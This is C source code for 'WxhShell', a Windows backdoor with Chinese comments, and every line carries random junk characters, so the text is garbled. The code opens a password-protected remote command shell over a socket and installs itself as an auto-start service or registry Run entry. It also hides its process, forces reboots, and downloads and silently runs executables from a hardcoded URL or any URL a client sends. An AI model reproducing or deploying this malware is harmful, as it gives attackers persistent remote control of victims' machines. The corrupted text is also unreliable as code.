    if(Boot(SHUTDOWN)) cTCo~Pk4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MIo<sJuv  
    else { k*(c8/<.d  
    closesocket(wsh); gS_)(  
    ExitThread(0); ;n%SjQ'%  
    } 8>x!n/z)  
    break; '3 w=D )  
    } "^F#oo%L  
  // 获取shell :6S!1roi  
  case 's': { 1 !bODd  
    CmdShell(wsh); Y (x_bJ  
    closesocket(wsh); % obR2%  
    ExitThread(0); %'a%ynFs  
    break; <+o-{{E[  
  } jl;_lcO  
  // 退出 rL3<r  
  case 'x': { mEfI2P)#|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;,[6 n|M  
    CloseIt(wsh); QO0}-wZR  
    break; ']Gqa$(YC  
    } k"&l o h  
  // 离开 'DO^($N  
  case 'q': { oG M Ls  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +~?ze,Di  
    closesocket(wsh); ^q5~;_z|  
    WSACleanup(); 3('=+d[}Vw  
    exit(1); nDu f<mw  
    break; ^E\{&kaUp  
        } :K>v F`SM  
  } ( NWT/yBx  
  } L`;p.L Bs_  
3XF.$=@  
  // 提示信息 Tm(XM<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #no~g( !o  
} Zt4g G KG  
  } g@wF2=  
qYR $5  
  return;  N-`Vb0;N  
} "RMBV}<T  
~qt)r_jW  
// shell模块句柄 3:@2gp!tq  
int CmdShell(SOCKET sock) Jz7a|pgep  
{ hr_ 5D  
STARTUPINFO si; `bT!_Ru  
ZeroMemory(&si,sizeof(si)); Wt4ROj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gdmh#pv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T6m#sVq  
PROCESS_INFORMATION ProcessInfo; ,@kD9n5#  
char cmdline[]="cmd"; 1^XuH('  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' N^\9X0  
  return 0; d0Xb?- }3M  
} TG7Ba[%  
_;(`u!@/{  
// 自身启动模式 ]Q,;5>#W  
int StartFromService(void) /_<`#?5T(  
{ 3[I; 3=O  
typedef struct _G%]d$2f`  
{ H e ABU(o4  
  DWORD ExitStatus; !>fYD8Ft,  
  DWORD PebBaseAddress; yTzP{I  
  DWORD AffinityMask; 5v <>%=  
  DWORD BasePriority; A<P3X/i  
  ULONG UniqueProcessId; bwo-9B  
  ULONG InheritedFromUniqueProcessId; KiYO,nD;\  
}   PROCESS_BASIC_INFORMATION; 1c_gh12  
^ CVhV  
PROCNTQSIP NtQueryInformationProcess; cpvN }G  
9<u^.w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Gp=9\L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?PVJeFH  
g?N~mca$  
  HANDLE             hProcess;  N1,=5P$  
  PROCESS_BASIC_INFORMATION pbi; #=F"PhiX`  
uT'_}cw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rE0?R( _  
  if(NULL == hInst ) return 0; i;Cs,Esnf  
pm$2*!1F(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K*iy^}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,<?iL~> %  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d\aKGq;8C  
u>c\J|K_V  
  if (!NtQueryInformationProcess) return 0; ?#; oqH<  
^2f'I iE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7jvy]5y8&~  
  if(!hProcess) return 0; 8 2qf7`  
NbOeF7cq+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j1 _ E^  
\{r-e  
  CloseHandle(hProcess); Ft%HWGE  
vzV,} S*c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n][/c_]q  
if(hProcess==NULL) return 0; U |I>CDp  
S Y\ UuZ  
HMODULE hMod; S<}2y9F  
char procName[255]; ].F7. zi  
unsigned long cbNeeded; zRTR  
:#D?b.=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vp8t8X1`  
s2f9 5<B  
  CloseHandle(hProcess); J)1:jieQ  
~^d. zIN!  
if(strstr(procName,"services")) return 1; // 以服务启动 UjibQl 3:m  
272j$T  
  return 0; // 注册表启动 C yg e  
} m|q?gX9R  
+./c=o/v  
// 主模块 XMhDx  
int StartWxhshell(LPSTR lpCmdLine) dFY]~_P472  
{ N]n]7(e+0C  
  SOCKET wsl; i9Fg  
BOOL val=TRUE; Q'-V\G)11  
  int port=0; VBc[(8o  
  struct sockaddr_in door; \#4??@+Xf  
|GuIp8~  
  if(wscfg.ws_autoins) Install(); yM dEH-?/  
zNSix!F  
port=atoi(lpCmdLine); iVq4&X_x  
").MU[q%Y  
if(port<=0) port=wscfg.ws_port; *M5 : \+  
gcYx-gA}  
  WSADATA data; csn/h$`-@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D'V0b"  
TDI8L\rr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wMy$T<:   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m"Y;GzqQl  
  door.sin_family = AF_INET; xml@]N*D#E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &`>[4D*  
  door.sin_port = htons(port); kPwgayz  
7#n<d879e%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oI=7X*B9  
closesocket(wsl); 8r '  
return 1; (]7*Kq  
} wX}N===  
xe^*\6Y  
  if(listen(wsl,2) == INVALID_SOCKET) { eUQ.,mP  
closesocket(wsl); +|.}oL^}G  
return 1; b?Wg|D  
} WelB+P2  
  Wxhshell(wsl); | \Nj  
  WSACleanup(); {zoUU  
8r[ZGUV  
return 0; H+ra w/"  
[vki^M5i|Z  
} c>fLSf  
F-}-/N]o q  
// 以NT服务方式启动 :LRR\v0HM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TJ(PTB;  
{ `x:znp}'  
DWORD   status = 0; Oq"(oNG@  
  DWORD   specificError = 0xfffffff; j0J}d _  
~82[pY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ||v=in   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2mL1BG=Yk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t}-[^|)7  
  serviceStatus.dwWin32ExitCode     = 0; ]D^dQ%{  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Z2:u!E  
  serviceStatus.dwCheckPoint       = 0; r}) 2-3ZA9  
  serviceStatus.dwWaitHint       = 0; gA ]7YHc  
mhTpR0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZK5(_qW&i  
  if (hServiceStatusHandle==0) return; #1R_* Uh  
}aYm86C]  
status = GetLastError(); 9@AGx<S1  
  if (status!=NO_ERROR) %VYQz)yW  
{ 1?)iCe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xw: v|(  
    serviceStatus.dwCheckPoint       = 0; >yvP[$]!6  
    serviceStatus.dwWaitHint       = 0; !mFo:nQ)}  
    serviceStatus.dwWin32ExitCode     = status; f uojf+i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ja$>>5<q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wd4fIegk  
    return; L/(e/Jalg  
  } (^GVy=  
Myss$gt}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <B 5^  
  serviceStatus.dwCheckPoint       = 0; 8>x.zO_.c>  
  serviceStatus.dwWaitHint       = 0; &_FNDJ>MCk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `;fh<kv  
} PK1j$ &F  
BmYU#h  
// 处理NT服务事件,比如:启动、停止 8)/i\=N3;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GkMNV7"m  
{ gd<8RVA  
switch(fdwControl) oTZ?x}Z1  
{ "?,3O2t  
case SERVICE_CONTROL_STOP: FD(zj^*  
  serviceStatus.dwWin32ExitCode = 0; RAKQ+Y"nl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ANSvZqKh  
  serviceStatus.dwCheckPoint   = 0; 9[DQ[bL  
  serviceStatus.dwWaitHint     = 0; nPq\J~M  
  { []Cvma 1\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6h>8^l  
  } \Ekez~k{`  
  return; UCYhaD@sP  
case SERVICE_CONTROL_PAUSE: z.1 6%@R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H%7V)"  
  break; C>cc!+n%H  
case SERVICE_CONTROL_CONTINUE: EZ #UdK_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pH#&B_S6z=  
  break; :b>Z|7g?  
case SERVICE_CONTROL_INTERROGATE: BEvSX|M>x  
  break; n? "ti  
}; .G+}Kn9!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~l!(I-'?g  
} aM 0kV.O  
x6HebIR+  
// 标准应用程序主函数 nzy =0Ox[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LoHWkNZ5:  
{ QxnP+U~N  
3DK^S2\zBm  
// 获取操作系统版本 o!mf d}nG  
OsIsNt=GetOsVer(); d;S:<]l'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8DTk<5mW~  
1W~-C B>  
  // 从命令行安装 `.a L>hf  
  if(strpbrk(lpCmdLine,"iI")) Install(); F$r8 hj`  
3sGrX"0D  
  // 下载执行文件 f[7'kv5S  
if(wscfg.ws_downexe) { t^?8Di\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E E?v~6"&  
  WinExec(wscfg.ws_filenam,SW_HIDE); QOuy(GY  
} bI[!y#_z4  
N-^\X3X  
if(!OsIsNt) { V.WfP*~NJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 /6{`6(p  
HideProc(); B2d$!Any  
StartWxhshell(lpCmdLine); q<>2}[W  
} UEo,:zeN[  
else }SitT\%  
  if(StartFromService()) w%S<N  
  // 以服务方式启动 js`zQx'  
  StartServiceCtrlDispatcher(DispatchTable); JmNeqpbB`w  
else @usQ*k  
  // 普通方式启动 +azPpGZ=  
  StartWxhshell(lpCmdLine); %fP^Fh   
~b\7 qx_a9  
return 0; JoW*)3Z  
} _zh}%#6L  
UShn)3F  
'5ky<  
XyS#6D  
=========================================== u4VQx,,  
]&/jvA=\l,  
R'dF<&Kj|  
3JW9G04.  
fH`1dU  
md$[Bs9  
" } Q1$v~  
 p<*-B  
#include <stdio.h> <eN>X:_N  
#include <string.h> uNd;; X  
#include <windows.h> @<vDR">  
#include <winsock2.h> 0IDHoNaT<  
#include <winsvc.h> ,_NO[+5U  
#include <urlmon.h> }"m@~kg=  
'IfM~9'D  
#pragma comment (lib, "Ws2_32.lib") OD\x1,E)I  
#pragma comment (lib, "urlmon.lib") CyG@  
w**.8]A"N  
#define MAX_USER   100 // 最大客户端连接数 o*p7/KvoT  
#define BUF_SOCK   200 // sock buffer FGwz5@|E  
#define KEY_BUFF   255 // 输入 buffer DP^{T/G  
%J.Rm0FD:  
#define REBOOT     0   // 重启 5mSXf"R^  
#define SHUTDOWN   1   // 关机 wT*N{).  
mf}?z21vD  
#define DEF_PORT   5000 // 监听端口 3tXtt@Yy  
9}}D -&Mc  
#define REG_LEN     16   // 注册表键长度 v@>hjie  
#define SVC_LEN     80   // NT服务名长度 P]Gsc  
*\VQ%_wg  
// 从dll定义API o\|dm. "f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5\|[)~b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DP; B*s4{U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \!cqeg*53  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,6t0w|@-k  
aF'Ik XG d  
// wxhshell配置信息 g?=B{V  
struct WSCFG { }d.R=A9L  
  int ws_port;         // 监听端口 W@wT ,yJ8@  
  char ws_passstr[REG_LEN]; // 口令 Gw+z8^|C&}  
  int ws_autoins;       // 安装标记, 1=yes 0=no  EVq<gGy  
  char ws_regname[REG_LEN]; // 注册表键名 S}Mxm 2  
  char ws_svcname[REG_LEN]; // 服务名 8(3vNuyP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1&jX~'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 44%::Oh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >5^Z'!Z"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K?I@'B'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B/5C jHz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ev8 E.ehD  
W!tP sPM  
}; L7D'wf  
g"T~)SQP  
// default Wxhshell configuration ?Fi-,4  
struct WSCFG wscfg={DEF_PORT, f[|xp?ef  
    "xuhuanlingzhe", TqQ>\h"&_  
    1, 0eQ5LG?)  
    "Wxhshell", ORtl~V'  
    "Wxhshell", :~T:&;q0  
            "WxhShell Service", uL-i>!"L!}  
    "Wrsky Windows CmdShell Service", =,T~F3pK  
    "Please Input Your Password: ", +!_^MBkk  
  1, ;U20g:K  
  "http://www.wrsky.com/wxhshell.exe", Q 5@~0  
  "Wxhshell.exe" a'T|p)N.;T  
    }; j,1,;  
<EBp X   
// 消息定义模块 2o\\qEYg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; up:e0di{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o.Cj+`0}5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .mok.f<G_m  
char *msg_ws_ext="\n\rExit."; m%Ef]({I  
char *msg_ws_end="\n\rQuit."; 2&tGJq-E  
char *msg_ws_boot="\n\rReboot..."; l>=c]  
char *msg_ws_poff="\n\rShutdown..."; @F,HyCSN  
char *msg_ws_down="\n\rSave to "; zb;' }l;+  
l>qCT  
char *msg_ws_err="\n\rErr!"; t#P)KcWOt  
char *msg_ws_ok="\n\rOK!"; q>Q|:g&:  
siD Sm  
char ExeFile[MAX_PATH]; &0>{mq}p,:  
int nUser = 0; @Rx/]wyH  
HANDLE handles[MAX_USER]; K/%aoTO}  
int OsIsNt; {qx"/;3V  
QGLm4 Wl9  
SERVICE_STATUS       serviceStatus; .IKK.G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; " g_\W  
BV!Kiw  
// 函数声明 `E|IMUB~  
int Install(void); cA/2,i  
int Uninstall(void); dUe"qH29s  
int DownloadFile(char *sURL, SOCKET wsh); {Ua5bSbh  
int Boot(int flag); gsU&}R1*h  
void HideProc(void); *g=*}2  
int GetOsVer(void); D6ck1pxkx  
int Wxhshell(SOCKET wsl); Mb<KZ_wYOX  
void TalkWithClient(void *cs); QPFpGS{d  
int CmdShell(SOCKET sock); !4 hs9b  
int StartFromService(void); u*9C(je  
int StartWxhshell(LPSTR lpCmdLine); }XXE hOO  
k"sL.}$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c3 wu&*p{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tXp)o >"  
W:) M}}&H  
// 数据结构和表定义 [{zekF~)@  
SERVICE_TABLE_ENTRY DispatchTable[] = vW4 f3(/  
{ -_4! id  
{wscfg.ws_svcname, NTServiceMain}, @C!q S7k)  
{NULL, NULL} ED$gnFa3I  
}; gf3/kll9  
3[e@mcO  
// 自我安装 1:&$0jU&U  
int Install(void) BryMq !  
{ ZR#UoYjupb  
  char svExeFile[MAX_PATH]; PkVXn  
  HKEY key; GB !3Z  
  strcpy(svExeFile,ExeFile); "^trHh8=  
1gt[_P2u  
// 如果是win9x系统,修改注册表设为自启动 d@w I: 7  
if(!OsIsNt) { {==Q6BG*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qkBnEPWZy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qb9%Y/xy  
  RegCloseKey(key); v$mA7|(t!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~cZ1=,P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 19=Dd#Nf  
  RegCloseKey(key); v(t&8)Uu  
  return 0; | 'z)RFqj  
    } I+<;D sp  
  } :qT>m  
} 3AB5Qs<  
else { ~}M{[6!  
Z7f~|}  
// 如果是NT以上系统,安装为系统服务 d@l;dos),  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CjST*(,b  
if (schSCManager!=0) X:e'@]Z)?  
{ N&GcWcq  
  SC_HANDLE schService = CreateService UbYKiLDF)  
  (  LSfj7j`  
  schSCManager, (*;u{m=  
  wscfg.ws_svcname, jG^~{7#  
  wscfg.ws_svcdisp, ze ua`jQ  
  SERVICE_ALL_ACCESS, Jg Xbs+.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z g'[.wov  
  SERVICE_AUTO_START, h]=chz  
  SERVICE_ERROR_NORMAL, <B fwR$  
  svExeFile, rcbixOT  
  NULL, C4G)anT  
  NULL, t^[{8,N  
  NULL, L{Th>]X  
  NULL, 4Cfwz-Qo  
  NULL /;lk.-yU  
  ); NKGCz|- 9  
  if (schService!=0) D H.ljGb  
  { 3dM6zOK  
  CloseServiceHandle(schService); @V-ZV  
  CloseServiceHandle(schSCManager); F-R`'{ ka  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c49#aN R  
  strcat(svExeFile,wscfg.ws_svcname); "d#s|_n,d)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #zQkQvAT9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rvG qUmSUs  
  RegCloseKey(key); F0!r9U((  
  return 0; ]6aM %r=c  
    } dn5v|[dJ  
  } q{@Wn]!k  
  CloseServiceHandle(schSCManager); q3[LnmH  
} UkYQ<MNO  
} %z2nas$$g  
F+6ZD5/  
return 1; p!691LI  
} Ky'^AN]  
u)V*o  
// 自我卸载 PQ[TTLG\&  
int Uninstall(void) K4rr.f6  
{ q+DH2&E'  
  HKEY key; fg9sZ%67]\  
z_H2 L"Z  
if(!OsIsNt) { 2Fh_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & p%,+|  
  RegDeleteValue(key,wscfg.ws_regname); z=xHk|+'  
  RegCloseKey(key); 63f/-64?7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'L m `L<`  
  RegDeleteValue(key,wscfg.ws_regname); G'epsD,.bX  
  RegCloseKey(key); b'&pJ1]]}  
  return 0; j NY8)w_  
  } [X I5Bu ~  
} Cse0!7_T  
} _E%[D(  
else { 2iGRw4`_a  
p"JSYF 9]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0g+@WK6y  
if (schSCManager!=0) UtutdkaS  
{ dnx}c4P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GGBe/X  
  if (schService!=0) zPmVECS  
  { d!d 3r W;A  
  if(DeleteService(schService)!=0) { ^Y&Cm.w  
  CloseServiceHandle(schService); ^d"J2n,7L  
  CloseServiceHandle(schSCManager); Q(sbClp"  
  return 0; ;L[9[uQ[C  
  }  Ntqc=z  
  CloseServiceHandle(schService); i-<=nD&?t  
  } A`r9"([-A  
  CloseServiceHandle(schSCManager); Ao\Vh\rQkq  
} 8x{vgx @M  
} ^DH*@M  
9,Mp/.T"\  
return 1; 3x'30  
} X+3)DE\2  
e\dT~)c  
// 从指定url下载文件 sV6A& Aw  
int DownloadFile(char *sURL, SOCKET wsh) 2eK\$_b_  
{ y((_V%F}  
  HRESULT hr; WY,t> 1c  
char seps[]= "/"; @v'D9 ?  
char *token; :+5afv}  
char *file; gv,T<A?Z2  
char myURL[MAX_PATH]; <\8   
char myFILE[MAX_PATH]; EzyIsp> _  
<d^7B9O?&w  
strcpy(myURL,sURL); yjO7/< 2  
  token=strtok(myURL,seps); [vi4,'wm  
  while(token!=NULL) Po_OQJ:bd  
  { D 6]$P%t9  
    file=token; D7. P  
  token=strtok(NULL,seps); pxbNeqK@p  
  } vP4Ij  
$SXxAS1  
GetCurrentDirectory(MAX_PATH,myFILE); I5A^/=bf&  
strcat(myFILE, "\\"); 10rGA=x'(  
strcat(myFILE, file); b>z.d-  
  send(wsh,myFILE,strlen(myFILE),0); hq*JQb;Y}  
send(wsh,"...",3,0); :6/OU9f/R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #R8l"]fxr?  
  if(hr==S_OK) L1xD$wl  
return 0; 5:d2q<x:{  
else 5{a( +'  
return 1; vw]nqS~N  
##@#:B  
} 9vTQ^*b m  
8_m9CQ6 i  
// 系统电源模块 tb{{oxa,k  
int Boot(int flag) QT$1D[>  
{ 55DzBV  
  HANDLE hToken; Vr1|%*0Tv  
  TOKEN_PRIVILEGES tkp; >l1Yhxd_0*  
{t:ND  
  if(OsIsNt) { w'0M>2   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0%F.]+6[O4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \.a .'l  
    tkp.PrivilegeCount = 1; (3h*sd5ly  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b1u'ukDP\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % 4"~O _S  
if(flag==REBOOT) { DG\YZV4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uq.~3V+u  
  return 0; N]}+F w\5  
} j*u9+.   
else { 0_ \ g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Ji2u GT  
  return 0; UK>=y_FYO  
} SU'9+=_$  
  } Nj_sU0Dt  
  else { D,j5k3< #  
if(flag==REBOOT) { @>IjfrjV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cmU+VZ#pk  
  return 0; h3EDN:FQ  
} }hitU(5t0  
else { kA;Tr4EA6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T:">,* |  
  return 0; <M?#3&5A  
} mtQ{6u  
} $jm<' 4  
$-?5Q~  
return 1; }.cmiC  
} bMZn7c  
g <4M!gi  
// win9x进程隐藏模块 Sc$wR{W<:  
void HideProc(void) i{ @'\}{L  
{ +i#sS19h  
'?gI cWM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8 ysK VF  
  if ( hKernel != NULL ) eJGos!>*  
  { jgKL88J*\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ].P(/~FS9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X&?lDL7?  
    FreeLibrary(hKernel); T\!SA  
  } T;r];Y(b*  
5b`xN!c  
return; 25c!-.5D  
} .0E4c8R\X  
B;]5,`#!  
// 获取操作系统版本 )UZ0gfx  
int GetOsVer(void) w LN2`ucC  
{ ZV]e-  
  OSVERSIONINFO winfo; ,(27p6!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~!-8l&C  
  GetVersionEx(&winfo); \ e8*vos  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nYy}''l<  
  return 1; KbdfSF$  
  else HL}~W}!j  
  return 0; % rY8  
} >^f)|0dn)E  
.S'fM]_#  
// 客户端句柄模块 %Fg8l{H3  
int Wxhshell(SOCKET wsl) ,e FQ}&^A  
{ P"uHtHK  
  SOCKET wsh; 8H#c4%by)  
  struct sockaddr_in client; Owpg]p yVD  
  DWORD myID; ,PMb9 O\B  
!8@rK$DB  
  while(nUser<MAX_USER) E}' d,v#Z{  
{ n~ >h4=h  
  int nSize=sizeof(client); o+_/)c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iQzX-a|4]  
  if(wsh==INVALID_SOCKET) return 1; T[XP\!z]B!  
\_Kt6=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9X$#x90  
if(handles[nUser]==0) B+e_Y\B u  
  closesocket(wsh); G(OT"+O,  
else T$^>Fiz{Se  
  nUser++; $#7J\=GZ+  
  } #}!>iFBcH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r d6F"W  
Ls>u` hG  
  return 0; 3']:1B  
} +8)]m<  
8f,'p}@!d  
// 关闭 socket mo#0q&ZQ  
void CloseIt(SOCKET wsh) ,B~lwF9  
{ rbK#a)7  
closesocket(wsh); 45)ogg2  
nUser--; Ku/H=  
ExitThread(0); : \:~y9X0  
} j[/SXF\=  
]opW; |{e  
// 客户端请求句柄 !0OD(XT  
void TalkWithClient(void *cs) Cl9SPz  
{ RZ|HwYG  
g{ v5mly  
  SOCKET wsh=(SOCKET)cs; .:Bwa  
  char pwd[SVC_LEN]; zyZok*s  
  char cmd[KEY_BUFF]; "37@Zt  
char chr[1]; nGv23R(?G  
int i,j; 2z.8rNwT  
6L8tz 8  
  while (nUser < MAX_USER) { mS:j$$]u  
,_Qe}qFU  
if(wscfg.ws_passstr) { l$-=Pqb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xxoHH#a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f OM^V{)T  
  //ZeroMemory(pwd,KEY_BUFF); 2E3?0DL",  
      i=0; [W9e>Nsp0  
  while(i<SVC_LEN) { V5u}C-o  
MvZ+n  
  // 设置超时 M9Nk=s! 3  
  fd_set FdRead; }$Hs;4|  
  struct timeval TimeOut; \[[TlB>  
  FD_ZERO(&FdRead); d=t}T6.|  
  FD_SET(wsh,&FdRead); x&R9${e%  
  TimeOut.tv_sec=8; CGd[3}"  
  TimeOut.tv_usec=0; GJC!0{8;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *(d6Z#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s%N`  
}fJ:wku  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~KAp\!,  
  pwd=chr[0]; Y ]~ HAv '  
  if(chr[0]==0xd || chr[0]==0xa) { ]27>a"p59Y  
  pwd=0; FJa[ToZ4+  
  break; :BL'>V   
  } I|KY+k> /  
  i++; 8h&oSOkQk,  
    } `Di ^6UK(  
fiE>H~  
  // 如果是非法用户,关闭 socket G2CZwm{/f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `1fJ:b/M  
} {PODisl>\D  
W;Ud<7<;Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j-lSFTo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &'5@azU  
I&TTr7  
while(1) { JrCf,?L^  
yu`KzIU  
  ZeroMemory(cmd,KEY_BUFF); gp~yt0AU  
DKy >]Hca  
      // 自动支持客户端 telnet标准   ~\IF9!  
  j=0; $ \Q<K@{  
  while(j<KEY_BUFF) { / h}PEu3y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.^X2  
  cmd[j]=chr[0]; r5MxjuOB1  
  if(chr[0]==0xa || chr[0]==0xd) { E-UB -"6  
  cmd[j]=0; xm<v"><  
  break; l|08  
  } :y+B;qw  
  j++; @-'/__cgt  
    } ^M`>YOU2+  
xwTijSj  
  // 下载文件 Ur'9bl{5  
  if(strstr(cmd,"http://")) { LP^p~5Az  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VHXI@UT*  
  if(DownloadFile(cmd,wsh)) "gXxRHTX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #4P8Rzl$/  
  else > I$B=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2y3?!^$  
